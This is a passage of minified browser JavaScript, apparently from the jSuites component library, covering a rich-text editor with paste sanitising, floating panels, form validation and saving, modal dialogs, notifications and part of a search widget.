allowed")}},i.destroy=function(){i.editor.removeEventListener("mouseup",O),i.editor.removeEventListener("mousedown",N),i.editor.removeEventListener("mousemove",I),i.editor.removeEventListener("keyup",M),i.editor.removeEventListener("keydown",D),i.editor.removeEventListener("dragstart",L),i.editor.removeEventListener("dragenter",j),i.editor.removeEventListener("dragover",E),i.editor.removeEventListener("drop",T),i.editor.removeEventListener("paste",w),i.editor.removeEventListener("blur",k),i.editor.removeEventListener("focus",A),t.editor=null,t.classList.remove("jeditor-container"),u.remove(),c.remove(),i.editor.remove()},i.upload=function(){r.click(i.file)};var v=[HTMLUnknownElement,HTMLAudioElement,HTMLEmbedElement,HTMLIFrameElement,HTMLTextAreaElement,HTMLInputElement,HTMLScriptElement],g=["width","height","align","border","src","tabindex"],y=["color","font-weight","font-size","background","background-color","margin"],b=function(e){if(e.attributes&&e.attributes.length){var t=null,n=e.getAttribute("style");if(n){t=[];for(var o=n.split(";"),a=0;a<o.length;a++){var s=o[a].trim().split(":");if(y.indexOf(s[0].trim())>=0){var r=s.shift();s=s.join(":"),t.push(r+":"+s)}}}"IMG"==e.tagName.toUpperCase()&&(i.options.acceptImages&&e.src?(e.setAttribute("tabindex","900"),i.addImage(e.src)):e.parentNode.removeChild(e));for(var l=[],d=0;d<e.attributes.length;d++)l.push(e.attributes[d].name);l.length&&l.forEach((function(t){-1==g.indexOf(t)?e.removeAttribute(t):-1!==e.attributes[d].value.indexOf("<")&&e.attributes[d].value.replace("<","&#60;")})),e.style="",t&&t.length&&e.setAttribute("style",t.join(";"))}if(e.children.length)for(d=0;d<e.children.length;d++)b(e.children[d]);v.indexOf(e.constructor)>=0&&e.remove()},x=function(e){var t=window.getSelection(),n=document.createRange();n.selectNode(e),t.addRange(n)},w=function(e){if(1==i.options.filterPaste){if(e.clipboardData||e.originalEvent.clipboardData)var t=(e.originalEvent||e).clipboardData.getData("text/html"),n=(e.originalEvent||e).clipboardData.getData("text/plain"),o=(e.originalEvent||e).clipboardData.files;else window.clipboardData&&(t=window.clipboardData.getData("Html"),n=window.clipboardData.getData("Text"),o=window.clipboardData.files);if(o.length)i.addFile(o);else if(t){var a=function(e){e&&(e=e.replace(new RegExp("\x3c!--(.*?)--\x3e","gsi"),""));var t=(new DOMParser).parseFromString(e,"text/html");b(t);var n=document.createElement("span");return n.innerHTML=t.firstChild.innerHTML,n}(t);document.execCommand("insertHtml",!1,a.innerHTML)}else t=n.split("\r\n"),e.target.innerText?(t=t.map((function(e){return"<div>"+e+"</div>"})),document.execCommand("insertHtml",!1,t.join(""))):t.map((function(e){var t=document.createElement("div");t.innerText=e,i.editor.appendChild(t)}));e.preventDefault()}},L=function(e){l&&l.e&&e.preventDefault()},j=function(e){l||0==i.options.dropZone||(t.classList.add("jeditor-dragging"),e.preventDefault())},E=function(e){l||0==i.options.dropZone||(s&&clearTimeout(s),s=setTimeout((function(){t.classList.remove("jeditor-dragging")}),100),e.preventDefault())},T=function(e){if(l||0==i.options.dropZone);else{var n=null;document.caretRangeFromPoint?n=document.caretRangeFromPoint(e.clientX,e.clientY):e.rangeParent&&(n=document.createRange()).setStart(e.rangeParent,e.rangeOffset);var o=window.getSelection();o.removeAllRanges(),o.addRange(n),o.anchorNode.parentNode.focus();var a=(e.originalEvent||e).dataTransfer.getData("text/html"),s=(e.originalEvent||e).dataTransfer.getData("text/plain"),r=(e.originalEvent||e).dataTransfer.files;r.length?i.addFile(r):s&&function(e){var t=document.createElement("div");t.innerHTML=e;var n=t.querySelectorAll("img");if(n.length)for(var o=0;o<n.length;o++)i.addImage(n[o].src)}(a),t.classList.remove("jeditor-dragging"),e.preventDefault()}},k=function(e){H("onevent",e),h(e),"function"==typeof i.options.onblur&&i.options.onblur(t,i,e)},A=function(e){"function"==typeof i.options.onfocus&&i.options.onfocus(t,i,e)},M=function(e){i.editor.innerHTML||(i.editor.innerHTML="<div><br></div>"),"function"==typeof i.options.onkeyup&&i.options.onkeyup(t,i,e)},D=function(e){if(H("onevent",e),"Delete"==e.key&&"IMG"==e.target.tagName){var n=e.target.parentNode;x(e.target),n.classList.contains("jsnippet-image")&&f()}"function"==typeof i.options.onkeydown&&i.options.onkeydown(t,i,e)},O=function(e){if(l&&l.e&&(l.e.classList.remove("resizing"),1==l.e.changed)){var t=l.e.cloneNode();t.width=parseInt(l.e.style.width)||l.e.getAttribute("width"),t.height=parseInt(l.e.style.height)||l.e.getAttribute("height"),l.e.style.width="",l.e.style.height="",x(l.e),document.execCommand("insertHtml",!1,t.outerHTML)}l=!1},N=function(e){var t=function(t){var n=t.getBoundingClientRect();n.width-(e.clientX-n.left)<40&&e.clientY-n.top<40&&(t.innerHTML="",t.remove())};if("IMG"==e.target.tagName)if(e.target.style.cursor){var n=e.target.getBoundingClientRect();l={e:e.target,x:e.clientX,y:e.clientY,w:n.width,h:n.height,d:e.target.style.cursor},e.target.getAttribute("width")||e.target.setAttribute("width",n.width),e.target.getAttribute("height")||e.target.setAttribute("height",n.height);var i=window.getSelection();if(i.rangeCount)for(var o=0;o<i.rangeCount;o++)i.removeRange(i.getRangeAt(o));e.target.classList.add("resizing")}else l=!0;else e.target.classList.contains("jsnippet")?t(e.target):e.target.parentNode.classList.contains("jsnippet")&&t(e.target.parentNode),l=!0},I=function(e){if("IMG"==e.target.tagName&&!e.target.parentNode.classList.contains("jsnippet-image")&&1==i.options.allowImageResize&&e.target.getAttribute("tabindex")){var t=e.target.getBoundingClientRect();e.clientY-t.top<5?t.width-(e.clientX-t.left)<5?e.target.style.cursor="ne-resize":e.clientX-t.left<5?e.target.style.cursor="nw-resize":e.target.style.cursor="n-resize":t.height-(e.clientY-t.top)<5?t.width-(e.clientX-t.left)<5?e.target.style.cursor="se-resize":e.clientX-t.left<5?e.target.style.cursor="sw-resize":e.target.style.cursor="s-resize":t.width-(e.clientX-t.left)<5?e.target.style.cursor="e-resize":e.clientX-t.left<5?e.target.style.cursor="w-resize":e.target.style.cursor=""}if(1==e.which&&l&&l.d){if("e-resize"==l.d||"ne-resize"==l.d||"se-resize"==l.d)if(l.e.style.width=l.w+(e.clientX-l.x),e.shiftKey){var n=(e.clientX-l.x)*(l.h/l.w);l.e.style.height=l.h+n}else n=null;n||"s-resize"!=l.d&&"se-resize"!=l.d&&"sw-resize"!=l.d||e.shiftKey||(l.e.style.height=l.h+(e.clientY-l.y)),l.e.changed=!0}},H=function(e,t){if(i.options.extensions){var n=Object.keys(i.options.extensions);if(n.length)for(var o=0;o<n.length;o++)i.options.extensions[n[o]]&&"function"==typeof i.options.extensions[n[o]][e]&&i.options.extensions[n[o]][e].call(i,t)}};if(document.addEventListener("mouseup",O),document.addEventListener("mousemove",I),i.editor.addEventListener("mousedown",N),i.editor.addEventListener("keyup",M),i.editor.addEventListener("keydown",D),i.editor.addEventListener("dragstart",L),i.editor.addEventListener("dragenter",j),i.editor.addEventListener("dragover",E),i.editor.addEventListener("drop",T),i.editor.addEventListener("paste",w),i.editor.addEventListener("focus",A),i.editor.addEventListener("blur",k),t.appendChild(i.editor),i.options.snippet&&i.appendSnippet(i.options.snippet),i.options.toolbar){if(Array.isArray(i.options.toolbar))var S={container:!0,responsive:!0,items:i.options.toolbar};else S=!0===i.options.toolbar?{container:!0,responsive:!0,items:[]}:i.options.toolbar;S.items&&S.items.length||(S.items=e.getDefaultToolbar(i)),i.options.toolbarOnTop?(t.classList.add("toolbar-on-top"),t.insertBefore(u,t.firstChild)):(i.editor.style.padding="15px",t.appendChild(u)),C(u,S),u.addEventListener("click",(function(){i.editor.focus()}))}return i.file=document.createElement("input"),i.file.style.display="none",i.file.type="file",i.file.setAttribute("accept","image/*"),i.file.onchange=function(){i.addFile(this.files)},t.appendChild(i.file),i.options.focus&&e.setCursor(i.editor,"initial"==i.options.focus),t.change=i.setData,t.val=function(e){if(void 0===e){var n="true"!==t.getAttribute("data-html");return i.getData(n)}i.setData(e)},function(){if(i.options.extensions){var e=Object.keys(i.options.extensions);if(e.length)for(var n=0;n<e.length;n++)i.options.extensions[e[n]]&&"function"==typeof i.options.extensions[e[n]]&&(i.options.extensions[e[n]]=i.options.extensions[e[n]](t,i))}}(),t.editor=i,"function"==typeof i.options.onload&&i.options.onload(t,i,i.editor),i};return e.setCursor=function(e,t){e.focus(),document.execCommand("selectAll");var n=window.getSelection(),i=n.getRangeAt(0);if(1==t)var o=i.startContainer,a=0;else a=(o=i.endContainer).length;i.setStart(o,a),i.setEnd(o,a),n.removeAllRanges(),n.addRange(i)},e.getDefaultToolbar=function(e){var t=function(e,t,n){n.color||(w(n,{onchange:function(e,t){"color"===n.k?document.execCommand("foreColor",!1,t):document.execCommand("backColor",!1,t)}}),n.color.open())},n=[];return n.push({content:"undo",onclick:function(){document.execCommand("undo")}}),n.push({content:"redo",onclick:function(){document.execCommand("redo")}}),n.push({type:"divisor"}),e.options.toolbarOnTop&&(n.push({type:"select",width:"140px",options:["Default","Verdana","Arial","Courier New"],render:function(e){return'<span style="font-family:'+e+'">'+e+"</span>"},onchange:function(e,t,n,i,o){document.execCommand("fontName",!1,i)}}),n.push({type:"select",content:"format_size",options:["x-small","small","medium","large","x-large"],render:function(e){return'<span style="font-size:'+e+'">'+e+"</span>"},onchange:function(e,t,n,i,o){document.execCommand("fontSize",!1,parseInt(o)+1)}}),n.push({type:"select",options:["format_align_left","format_align_center","format_align_right","format_align_justify"],render:function(e){return'<i class="material-icons">'+e+"</i>"},onchange:function(e,t,n,i,o){document.execCommand(["JustifyLeft","justifyCenter","justifyRight","justifyFull"][o])}}),n.push({type:"divisor"}),n.push({content:"format_color_text",k:"color",onclick:t}),n.push({content:"format_color_fill",k:"background-color",onclick:t})),n.push({content:"format_bold",onclick:function(e,t,n){document.execCommand("bold"),document.queryCommandState("bold")?n.classList.add("selected"):n.classList.remove("selected")}}),n.push({content:"format_italic",onclick:function(e,t,n){document.execCommand("italic"),document.queryCommandState("italic")?n.classList.add("selected"):n.classList.remove("selected")}}),n.push({content:"format_underline",onclick:function(e,t,n){document.execCommand("underline"),document.queryCommandState("underline")?n.classList.add("selected"):n.classList.remove("selected")}}),n.push({type:"divisor"}),n.push({content:"format_list_bulleted",onclick:function(e,t,n){document.execCommand("insertUnorderedList"),document.queryCommandState("insertUnorderedList")?n.classList.add("selected"):n.classList.remove("selected")}}),n.push({content:"format_list_numbered",onclick:function(e,t,n){document.execCommand("insertOrderedList"),document.queryCommandState("insertOrderedList")?n.classList.add("selected"):n.classList.remove("selected")}}),n.push({content:"format_indent_increase",onclick:function(e,t,n){document.execCommand("indent",!0,null),document.queryCommandState("indent")?n.classList.add("selected"):n.classList.remove("selected")}}),n.push({content:"format_indent_decrease",onclick:function(){document.execCommand("outdent"),document.queryCommandState("outdent")?this.classList.add("selected"):this.classList.remove("selected")}}),e.options.toolbarOnTop&&(n.push({type:"divisor"}),n.push({content:"photo",onclick:function(){e.upload()}}),n.push({type:"select",content:"table_view",columns:8,grid:8,right:!0,options:["0x0","1x0","2x0","3x0","4x0","5x0","6x0","7x0","0x1","1x1","2x1","3x1","4x1","5x1","6x1","7x1","0x2","1x2","2x2","3x2","4x2","5x2","6x2","7x2","0x3","1x3","2x3","3x3","4x3","5x3","6x3","7x3","0x4","1x4","2x4","3x4","4x4","5x4","6x4","7x4","0x5","1x5","2x5","3x5","4x5","5x5","6x5","7x5","0x6","1x6","2x6","3x6","4x6","5x6","6x6","7x6","0x7","1x7","2x7","3x7","4x7","5x7","6x7","7x7"],render:function(e,t){t&&(t.onmouseover=this.onmouseover,e=e.split("x"),t.setAttribute("data-x",e[0]),t.setAttribute("data-y",e[1]));var n=document.createElement("div");return t.style.margin="1px",t.style.border="1px solid #ddd",n},onmouseover:function(e){for(var t=parseInt(e.target.getAttribute("data-x")),n=parseInt(e.target.getAttribute("data-y")),i=0;i<e.target.parentNode.children.length;i++){var o=e.target.parentNode.children[i],a=parseInt(o.getAttribute("data-x")),s=parseInt(o.getAttribute("data-y"));a<=t&&s<=n?(o.style.backgroundColor="#cae1fc",o.style.borderColor="#2977ff"):(o.style.backgroundColor="",o.style.borderColor="#ddd")}},onchange:function(e,t,n){n=n.split("x");for(var i=document.createElement("table"),o=document.createElement("tbody"),a=0;a<=n[1];a++){for(var s=document.createElement("tr"),r=0;r<=n[0];r++){var l=document.createElement("td");l.innerHTML="",s.appendChild(l)}o.appendChild(s)}i.appendChild(o),i.setAttribute("width","100%"),i.setAttribute("cellpadding","6"),i.setAttribute("cellspacing","0"),document.execCommand("insertHTML",!1,i.outerHTML)}})),n},e}(),k=function(){var e=function(t,n){var i={options:{}},o={type:"big",title:"Untitled",width:510,height:472};for(var a in o)n&&n.hasOwnProperty(a)?i.options[a]=n[a]:i.options[a]=o[a];return i.state={isMinized:!1},i.setState=function(){i.state.isMinized?i.container.classList.remove("jfloating-minimized"):i.container.classList.add("jfloating-minimized"),i.state.isMinized=!i.state.isMinized},i.close=function(){Components.elements.splice(e.elements.indexOf(i.container),1),i.updatePosition(),t.remove()},i.updatePosition=function(){for(var t=0;t<e.elements.length;t++){var n=e.elements[t],i=e.elements[t-1];n.style.right=t*(i?i.offsetWidth:n.offsetWidth)*1.01+"px"}},i.init=function(){!function(){for(var e=document.createElement("div");t.children[0];)e.appendChild(t.children[0]);for(i.content=document.createElement("div"),i.content.className="jfloating_content",i.content.innerHTML=t.innerHTML;e.children[0];)i.content.appendChild(e.children[0]);i.container=document.createElement("div"),i.container.className="jfloating",i.container.appendChild(i.content),i.options.title?i.container.setAttribute("title",i.options.title):i.container.classList.add("no-title"),i.options.width&&(i.container.style.width=parseInt(i.options.width)+"px"),i.options.height&&(i.container.style.height=parseInt(i.options.height)+"px"),t.innerHTML="",t.appendChild(i.container)}(),i.container&&i.container.addEventListener("click",(function(e){var t=e.target.getBoundingClientRect();if(e.target.classList.contains("jfloating")){if(e.changedTouches&&e.changedTouches[0])var n=e.changedTouches[0].clientX,o=e.changedTouches[0].clientY;else n=e.clientX,o=e.clientY;t.width-(n-t.left)<50&&o-t.top<50?setTimeout((function(){i.close()}),100):i.setState()}})),i.container.classList.add("jfloating-"+i.options.type),e.elements.push(i.container),i.updatePosition(),t.floating=i},i.init(),i};return e.elements=[],e}(),A=function(){const e=function(e){return!isNaN(e)&&null!==e&&""!==e},t={between:function(e,t){return e>=t[0]&&e<=t[1]},"not between":function(e,t){return e<t[0]||e>t[1]},"<":function(e,t){return e<t[0]},"<=":function(e,t){return e<=t[0]},">":function(e,t){return e>t[0]},">=":function(e,t){return e>=t[0]},"=":function(e,t){return e==t[0]},"!=":function(e,t){return e!=t[0]}},n={"valid date":function(){return!0},"=":function(e,t){return e===t[0]},"!=":function(e,t){return e!==t[0]},"<":function(e,t){return e<t[0]},"<=":function(e,t){return e<=t[0]},">":function(e,t){return e>t[0]},">=":function(e,t){return e>=t[0]},between:function(e,t){return e>=t[0]&&e<=t[1]},"not between":function(e,t){return e<t[0]||e>t[1]}},i={contains:function(e,t){return e.includes(t[0])},"not contains":function(e,t){return!e.includes(t[0])},"begins with":function(e,t){return e.startsWith(t[0])},"ends with":function(e,t){return e.endsWith(t[0])},"=":function(e,t){return e===t[0]},"!=":function(e,t){return e!==t[0]},"valid email":function(e){return new RegExp(/^[^\s@]+@[^\s@]+\.[^\s@]+$/).test(e)},"valid url":function(e){return new RegExp(/(((https?:\/\/)|(www\.))[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|]+)/gi).test(e)}},o=function(e,t){return"function"==typeof o[t.type]?!(!t.allowBlank||""!==e)||o[t.type](e,t):null};o.url=function(){return!!new RegExp(/(((https?:\/\/)|(www\.))[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|]+)/gi).test(data)},o.email=function(e){var t=new RegExp(/^[^\s@]+@[^\s@]+\.[^\s@]+$/);return!(!e||!t.test(e))},o.required=function(e){return!!e.trim()},o.exist=function(e,t){return!!e.toString().trim()},o["not exist"]=function(e,t){return!e.toString().trim()},o.empty=function(e){return!e.toString().trim()},o.notEmpty=function(e){return!!e.toString().trim()},o.number=function(n,i){if(!e(n))return!1;if(!i||!i.criteria)return!0;if(!t[i.criteria])return!1;let o=i.value.map((function(e){return parseFloat(e)}));return t[i.criteria](n,o)},o.login=function(e){let t=new RegExp(/^[a-zA-Z0-9._-]+$/);return!(!e||!t.test(e))},o.list=function(e,t){let n,i=typeof e;return("string"===i||"number"===i)&&(n="string"==typeof t.value[0]?t.value[0].split(","):t.value[0],!!Array.isArray(n)&&n.findIndex((function(t){return t==e}))>-1)};const a=function(){let e=new Date;return e.setHours(0,0,0,0),e},s={"one year ago":function(){let e=a();return e.setFullYear(e.getFullYear()-1),e},"one month ago":function(){let e=a();return e.setMonth(e.getMonth()-1),e},"one week ago":function(){let e=a();return e.setDate(e.getDate()-7),e},yesterday:function(){let e=a();return e.setDate(e.getDate()-1),e},today:a,tomorrow:function(){let e=a();return e.setDate(e.getDate()+1),e}};return o.date=function(t,i){if(e(t)&&t>0&&t<1e6&&(t=l.numToDate(t)),"Invalid Date"==new Date(t))return!1;if(!i||!i.criteria)return!0;if(!n[i.criteria])return!1;let o=i.value.map((function(e){return"string"==typeof e&&s[e]?s[e]().getTime():new Date(e).getTime()}));return n[i.criteria](new Date(t).getTime(),o)},o.text=function(e,t){return"string"==typeof e&&(!t||!t.criteria||!!i[t.criteria]&&i[t.criteria](e,t.value))},o.textLength=function(e,t){return e=e.toString(),o.number(e.length,t)},o}(),M=function(){var e=function(t,n){var i={options:{}},o={url:null,message:"Are you sure? There are unsaved information in your form",ignore:!1,currentHash:null,submitButton:null,validations:null,onbeforeload:null,onload:null,onbeforesave:null,onsave:null,onbeforeremove:null,onremove:null,onerror:function(e,t){alert(t)}};for(var a in o)n&&n.hasOwnProperty(a)?i.options[a]=n[a]:i.options[a]=o[a];return i.options.validations||(i.options.validations={}),i.options.submitButton||(i.options.submitButton=t.querySelector("input[type=submit]")),i.options.submitButton&&i.options.url&&(i.options.submitButton.onclick=function(){i.save()}),i.options.validations.email||(i.options.validations.email=A.email),i.options.validations.length||(i.options.validations.length=A.length),i.options.validations.required||(i.options.validations.required=A.required),i.setUrl=function(e){i.options.url=e},i.load=function(){m({url:i.options.url,method:"GET",dataType:"json",queue:!0,success:function(n){if("function"==typeof i.options.onbeforeload){var o=i.options.onbeforeload(t,n);o&&(n=o)}e.setElements(t,n),"function"==typeof i.options.onload&&i.options.onload(t,n)}})},i.save=function(){var n=i.validate();if(n)i.options.onerror(t,n);else{var o=e.getElements(t,!0);if("function"==typeof i.options.onbeforesave&&!1===(o=i.options.onbeforesave(t,o)))return;m({url:i.options.url,method:"POST",dataType:"json",data:o,success:function(e){"function"==typeof i.options.onsave&&i.options.onsave(t,o,e)}})}},i.remove=function(){if("function"==typeof i.options.onbeforeremove&&!1===i.options.onbeforeremove(t,i))return!1;m({url:i.options.url,method:"DELETE",dataType:"json",success:function(e){"function"==typeof i.options.onremove&&i.options.onremove(t,i,e),i.reset()}})},i.validateElement=function(n){var o=!1,a=e.getValue(n),s=n.getAttribute("data-validation");return"function"!=typeof i.options.validations[s]||i.options.validations[s](a,n)?n.classList.contains("error")&&function(e){var n=!1;e.classList.remove("error"),e.removeAttribute("title");for(var o=t.querySelectorAll("input, select, textarea, div[name]"),a=0;a<o.length;a++)o[a].getAttribute("data-validation")&&o[a].classList.contains("error")&&(n=!0);i.options.submitButton&&(n?i.options.submitButton.setAttribute("disabled",!0):i.options.submitButton.removeAttribute("disabled"))}(n):o=function(e){e.classList.add("error"),i.options.submitButton&&i.options.submitButton.setAttribute("disabled",!0);var t=e.getAttribute("data-error")||"There is an error in the form";return e.setAttribute("title",t),t}(n),o},i.reset=function(){for(var e=t.querySelectorAll("input, select, textarea, div[name]"),n=0;n<e.length;n++)e[n].getAttribute("name")&&("checkbox"==e[n].type||"radio"==e[n].type?e[n].checked=!1:"function"==typeof e[n].val?e[n].val(""):e[n].value="")},i.validate=function(){for(var e=[],n=t.querySelectorAll("input, select, textarea, div[name]"),o=0;o<n.length;o++)if(n[o].getAttribute("data-validation")){var a=i.validateElement(n[o]);a&&e.push(a)}return e.length>0&&e.join("<br>")},i.getError=function(){return!!i.validation()},i.setHash=function(){return i.getHash(e.getElements(t))},i.getHash=function(e){var t,n=0;if(0===e.length)return n;for(t=0;t<e.length;t++)n=(n<<5)-n+e.charCodeAt(t),n|=0;return n},i.isChanged=function(){var e=i.setHash();return i.options.currentHash!=e},i.resetTracker=function(){i.options.currentHash=i.setHash(),i.options.ignore=!1},i.setIgnore=function(e){i.options.ignore=!!e},setTimeout((function(){i.options.currentHash=i.setHash()}),1e3),t.addEventListener("keyup",(function(e){e.target.getAttribute("data-validation")&&i.validateElement(e.target)})),e.hasEvents||(window.addEventListener("beforeunload",(function(e){if(i.isChanged()&&0==i.options.ignore){var t=i.options.message?i.options.message:"o/";return t?(void 0===e&&(e=window.event),e&&(e.returnValue=t),t):void 0}})),e.hasEvents=!0),t.form=i,i};return e.getValue=function(e){var t=null;if("checkbox"==e.type)1==e.checked&&(t=e.value||!0);else if("radio"==e.type)1==e.checked&&(t=e.value);else if("file"==e.type)t=e.files;else if("select"==e.tagName&&1==e.multiple){t=[];for(var n=e.querySelectorAll("options[selected]"),i=0;i<n.length;i++)t.push(n[i].value)}else t="function"==typeof e.val?e.val():e.value||"";return t},e.getElements=function(t,n){for(var i={},o=null,a=t.querySelectorAll("input, select, textarea, div[name]"),s=0;s<a.length;s++)(o=a[s].getAttribute("name"))&&(i[o]=e.getValue(a[s])||"");return 1==n?i:JSON.stringify(i)},e.setElements=function(e,t){for(var n=null,i=null,o=e.querySelectorAll("input, select, textarea, div[name]"),a=0;a<o.length;a++){var s=o[a].getAttribute("type");if(n=o[a].getAttribute("name")){if(i=null,(n=n.replace(new RegExp(/\[(.*?)\]/gi),".$1")).match(/\./)){var r=p.call(t,n)||"";void 0!==r&&(i=r)}else void 0!==t[n]&&(i=t[n]);null!==i&&("checkbox"==s||"radio"==s?o[a].checked=!!i:"file"==s||("function"==typeof o[a].val?o[a].val(i):o[a].value=i))}}},e}(),D=function(){var e=function(){var e=null;document.addEventListener("keydown",(function(e){if(27==e.which)for(var t=document.querySelectorAll(".jmodal"),n=0;n<t.length;n++)t[n].parentNode.modal.close()})),document.addEventListener("mouseup",(function(t){let n=t.composedPath();var i=r.findElement(n[0],"jmodal");if(i){var o=i.getBoundingClientRect();if(t.changedTouches&&t.changedTouches[0])var a=t.changedTouches[0].clientX,s=t.changedTouches[0].clientY;else a=t.clientX,s=t.clientY;o.width-(a-o.left)<50&&s-o.top<50&&i.parentNode.modal.close()}e&&(e.element.style.cursor="auto",e=null)})),document.addEventListener("mousedown",(function(t){let n=t.composedPath();var i=r.findElement(n[0],"jmodal");if(i){var o=i.getBoundingClientRect();if(t.changedTouches&&t.changedTouches[0])var a=t.changedTouches[0].clientX,s=t.changedTouches[0].clientY;else a=t.clientX,s=t.clientY;o.width-(a-o.left)<50&&s-o.top<50||s-o.top<50&&(document.selection?document.selection.empty():window.getSelection&&window.getSelection().removeAllRanges(),e={left:o.left,top:o.top,x:t.clientX,y:t.clientY,width:o.width,height:o.height,element:i})}})),document.addEventListener("mousemove",(function(t){if(e){if((t=t||window.event).buttons)var n=t.buttons;else n=t.button?t.button:t.which;n?(e.element.style.top=e.top+(t.clientY-e.y)+e.height/2+"px",e.element.style.left=e.left+(t.clientX-e.x)+e.width/2+"px",e.element.style.cursor="move"):e.element.style.cursor="auto"}}))};return function(t,n){var i={options:{}},o={url:null,onopen:null,onclose:null,onload:null,closed:!1,width:null,height:null,title:null,padding:null,backdrop:!0,icon:null};for(var a in o)n&&n.hasOwnProperty(a)?i.options[a]=n[a]:i.options[a]=o[a];!i.options.title&&t.getAttribute("title")&&(i.options.title=t.getAttribute("title"));for(var s=document.createElement("div");t.children[0];)s.appendChild(t.children[0]);for(i.title=document.createElement("div"),i.title.className="jmodal_title",i.options.icon&&i.title.setAttribute("data-icon",i.options.icon),i.content=document.createElement("div"),i.content.className="jmodal_content",i.content.innerHTML=t.innerHTML;s.children[0];)i.content.appendChild(s.children[0]);if(i.container=document.createElement("div"),i.container.className="jmodal",i.container.appendChild(i.title),i.container.appendChild(i.content),i.options.padding&&(i.content.style.padding=i.options.padding),i.options.width&&(i.container.style.width=i.options.width),i.options.height&&(i.container.style.height=i.options.height),i.options.title){var l=document.createElement("h4");l.innerText=i.options.title,i.title.appendChild(l)}if(t.innerHTML="",t.style.display="none",t.appendChild(i.container),i.options.backdrop){var d=document.createElement("div");d.className="jmodal_backdrop",d.onclick=function(){i.close()},t.appendChild(d)}return i.open=function(){t.style.display="block";var e=i.container.getBoundingClientRect();r.getWindowWidth()<e.width?(i.container.style.top="",i.container.style.left="",i.container.classList.add("jmodal_fullscreen"),v.slideBottom(i.container,1)):i.options.backdrop&&(d.style.display="block"),"function"==typeof i.options.onopen&&i.options.onopen(t,i)},i.resetPosition=function(){i.container.style.top="",i.container.style.left=""},i.isOpen=function(){return"none"!=t.style.display},i.close=function(){i.isOpen()&&(t.style.display="none",i.options.backdrop&&(d.style.display=""),i.container.classList.remove("jmodal_fullscreen"),"function"==typeof i.options.onclose&&i.options.onclose(t,i))},i.options.url?m({url:i.options.url,method:"GET",dataType:"text/html",success:function(e){i.content.innerHTML=e,i.options.closed||i.open(),"function"==typeof i.options.onload&&i.options.onload(i)}}):(i.options.closed||i.open(),"function"==typeof i.options.onload&&i.options.onload(i)),t.modal=i,e(),e=function(){},i}}(),O=function(){var e=function(e){var t={options:{}},n={icon:null,name:"Notification",date:null,error:null,title:null,message:null,timeout:4e3,autoHide:!0,closeable:!0};for(var i in n)e&&e.hasOwnProperty(i)?t.options[i]=e[i]:t.options[i]=n[i];var o=document.createElement("div");o.className="jnotification",t.options.error&&o.classList.add("jnotification-error");var a=document.createElement("div");a.className="jnotification-container",o.appendChild(a);var s=document.createElement("div");s.className="jnotification-header",a.appendChild(s);var l=document.createElement("div");if(l.className="jnotification-image",s.appendChild(l),t.options.icon){var d=document.createElement("img");d.src=t.options.icon,l.appendChild(d)}var c=document.createElement("div");if(c.className="jnotification-name",c.innerHTML=t.options.name,s.appendChild(c),1==t.options.closeable){var u=document.createElement("div");u.className="jnotification-close",u.onclick=function(){t.hide()},s.appendChild(u)}var p=document.createElement("div");p.className="jnotification-date",s.appendChild(p);var h=document.createElement("div");if(h.className="jnotification-content",a.appendChild(h),t.options.title){var f=document.createElement("div");f.className="jnotification-title",f.innerHTML=t.options.title,h.appendChild(f)}var m=document.createElement("div");if(m.className="jnotification-message",m.innerHTML=t.options.message,h.appendChild(m),t.show=function(){document.body.appendChild(o),r.getWindowWidth()>800?v.fadeIn(o):v.slideTop(o,1)},t.hide=function(){r.getWindowWidth()>800?v.fadeOut(o,(function(){o.parentNode&&(o.parentNode.removeChild(o),g&&clearTimeout(g))})):v.slideTop(o,0,(function(){o.parentNode&&(o.parentNode.removeChild(o),g&&clearTimeout(g))}))},t.show(),1==t.options.autoHide)var g=setTimeout((function(){t.hide()}),t.options.timeout);return r.getWindowWidth()<800&&o.addEventListener("swipeup",(function(e){t.hide(),e.preventDefault(),e.stopPropagation()})),t};return e.isVisible=function(){var e=document.querySelector(".jnotification");return!(!e||!e.parentNode)},e}();function N(e,t){if(e.search)return e.search;var n=null,i=function(t){if("function"==typeof a.options.onsearch){var n=a.options.onsearch(a,t);n&&(t=n)}if(s.innerHTML="",t.length){e.style.display="block";for(var i=t.length<11?t.length:10,o=0;o<i;o++){if("string"==typeof t[o])var r=t[o],l=t[o];else!(r=t[o].text)&&t[o].name&&(r=t[o].name),!(l=t[o].value)&&t[o].id&&(l=t[o].id);var d=document.createElement("div");d.setAttribute("data-value",l),d.setAttribute("data-text",r),d.className="jsearch_item",t[o].id&&d.setAttribute("id",t[o].id),a.options.forceSelect&&0==o&&d.classList.add("selected");var c=document.createElement("img");t[o].image?c.src=t[o].image:c.style.display="none",d.appendChild(c);var u=document.createElement("div");u.innerHTML=r,d.appendChild(u),s.appendChild(d)}}else e.style.display=""},o=null,a=function(e){o&&clearTimeout(o),o=setTimeout((function(){!function(e){if(e!=a.terms)if(a.terms=e,n=a.options.forceSelect?0:null,Array.isArray(a.options.data)){var t=a.options.data.filter((function(t){return function(t){if("string"==typeof t){if((""+t).toLowerCase().search(e.toLowerCase())>=0)return!0}else for(var n in t)if((""+t[n]).toLowerCase().search(e.toLowerCase())>=0)return!0;return!1}(t)}));i(t)}else m({url:a.options.data+e,method:"GET",dataType:"json",success:function(e){i(e)}})}(e)}),500)};null===t.forceSelect&&(t.forceSelect=!0),a.options={data:t.data||null,input:t.input||null,searchByNode:t.searchByNode||null,onselect:t.onselect||null,forceSelect:t.forceSelect,onsearch:t.onsearch||null,onbeforesearch:t.onbeforesearch||null},a.selectIndex=function(e){var t=e.getAttribute("id"),n=e.getAttribute("data-text"),i=e.getAttribute("data-value"),o=e.children[0].src||"";"function"==typeof 